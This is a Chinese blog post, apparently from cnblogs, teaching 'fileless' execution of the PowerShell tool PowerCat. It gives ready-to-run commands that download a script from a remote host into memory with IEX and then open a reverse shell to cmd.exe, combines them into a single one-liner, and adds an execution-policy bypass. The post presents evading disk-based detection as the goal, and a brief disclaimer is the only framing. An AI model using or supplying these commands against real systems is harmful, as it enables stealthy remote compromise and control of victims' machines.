首页 > 其他分享 >Powercat 无文件落地执行技巧,你确定不进来看看?

Powercat 无文件落地执行技巧,你确定不进来看看?

时间:2024-12-25 19:44:18浏览次数:3  
标签:脚本 Powercat 落地 powercat 文件 PowerCat 执行 PowerShell 技巧

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。

目录

无文件落地执行(fileless execution)是一种技术,用于避免在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。

  1. 准备 PowerCat 脚本:将 PowerCat 的脚本托管在一个可以访问的远程服务器上,比如 GitHub Gist、Pastebin 或自建的 HTTP 服务器。

  2. 使用 PowerShell 命令直接从远程服务器下载并执行脚本

    • 使用 IEX(Invoke-Expression)和 Invoke-WebRequestInvoke-RestMethod 组合可以直接在内存中加载和执行脚本。
    • 以下是一个示例命令,通过 PowerShell 从远程服务器下载并执行 PowerCat:
IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')

或者使用 Invoke-RestMethod

IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
  1. 执行 PowerCat 命令:在内存中加载 PowerCat 后,直接使用 PowerCat 提供的功能进行渗透测试。例如,使用 PowerCat 建立反向 shell:
powercat -c target_ip -p target_port -e cmd.exe
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1

IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe

此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。

注意事项
  • 安全性:确保托管脚本的远程服务器是安全的,防止脚本被篡改。

  • 权限:PowerShell 执行策略可能会限制脚本执行。需要以管理员权限运行 PowerShell 或调整执行策略:

Set-ExecutionPolicy Unrestricted -Scope Process
  • 检测和防御:尽管无文件落地执行可以降低被检测的可能性,但仍有其他检测和防御手段,例如基于行为的检测,因此在实际渗透测试中要综合考虑多种手段。

通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。

演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功接收

查看被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。
欢迎关注 公众号 “D1TASec” 查看文章。

标签:脚本,Powercat,落地,powercat,文件,PowerCat,执行,PowerShell,技巧
From: https://www.cnblogs.com/D1TA/p/18631292

相关文章

  • Css - css 基本技巧
    css样式常用技巧汇总css渐变设置background-color:linear-gradient(#04204D,#075AA3);背景图片铺满页面background:url("your-background-image.jpg")no-repeatcentercenterfixed;background-size:cover;同时设置多个背景图片及渐变色,渐变色设置在最后,最后......
  • HarmonyOs DevEco studio小技巧39--LazyForEach:性能优化与懒加载
    在鸿蒙系统的应用开发中,LazyForEach是一个极为重要的工具,它在处理列表数据展示等场景时展现出独特的性能优化和懒加载特性,为应用开发带来诸多显著优势。一、LazyForEach在鸿蒙中的优势(一)高效的内存管理在处理大量数据时,传统的组件渲染方式可能会一次性创建所有数据对应的......
  • CIKM 2024 | 京东电商搜索:深度强化学习的探索与落地
    CIKM2024:MODRL-TA:AMulti-ObjectiveDeepReinforcementLearningFrameworkforTrafficAllocationinE-CommerceSearch链接:https://dl.acm.org/doi/10.1145/3627673.3679964摘要:流量调控是通过调整商品在搜索后阶段的位置来重新分配自然流量的过程,旨在有效促......
  • 解锁桶排序:全面掌握其核心知识与技巧
    一、基本原理核心思想桶排序的基本思想是将数组中的数据分到有限数量的桶里。每个桶再分别进行排序(可以使用其他排序算法,如插入排序),最后将各个桶中的数据有序地合并起来,得到最终的排序结果。工作方式类比可以把它想象成在一个有很多小格子(桶)的柜子里整理物品。首先根据物......
  • 浅谈SQL优化小技巧
    作者:京东零售王军回顾:MySQL的执行过程回顾MySQL的执行过程,帮助介绍如何进行sql优化。(1)客户端发送一条查询语句到服务器;(2)服务器先查询缓存,如果命中缓存,则立即返回存储在缓存中的数据;(3)未命中缓存后,MySQL通过关键字将SQL语句进行解析,并生成一颗对应的解析树,MySQL解析器将使......
  • 一些在Python中使用变量的技巧
    变量初始化和赋值技巧多重赋值可以同时对多个变量进行赋值。例如,a,b,c=1,2,3,这样就一次性将 1 赋值给a,2 赋值给b,3 赋值给c。这在交换变量值时也非常方便,比如a,b=b,a,可以直接交换a和b两个变量的值,而不需要借助中间变量。链式赋值可以将同一个值赋给多个变量,如......
  • C4D建模技巧:边挤压
    hello,我是爱玩的小松鼠!C4D建模技巧:边挤压。如下:实现效果水平方向挤压垂直方向挤压谢谢关注,下期见!......
  • 6.9 Postman接口测试技巧
    欢迎大家订阅【软件测试】专栏,开启你的软件测试学习之旅!文章目录前言1使用Postman抓包2Postman导出脚本3Postman接口鉴权前言Postman是一款广泛使用的API测试工具,提供了强大的接口测试和调试功能。本章讲解了使用Postman进行抓包、导出脚本和进行接口鉴权的......
  • BOE(京东方)“向新2025”年终媒体智享会落地成都 持续创新引领产业步入高价值增长新纪元
    12月20日,BOE(京东方)“向新2025”年终媒体智享会的脚步从上海延伸至成都。川渝之地,作为BOE(京东方)产业生态战略布局中的关键一子,此刻再度成为行业瞩目的焦点。本次活动全面回溯了BOE(京东方)在2024年多个关键领域斩获的斐然佳绩,深入剖析了六大维度构建的“向新”发展格局,系统展示了技......
  • 大语言模型学习工具及资源总结和落地应用
            当前,随着人工智能技术的迅猛发展,大语言模型(LargeLanguageModels,LLMs)在各个领域的应用日益广泛。以下是国内外常见的大语言模型工具、已经落地部署的应用以及学习相关的网站和资源的详细介绍。一、国内外常见的大语言模型工具国际大语言模型1.OpenAIGPT......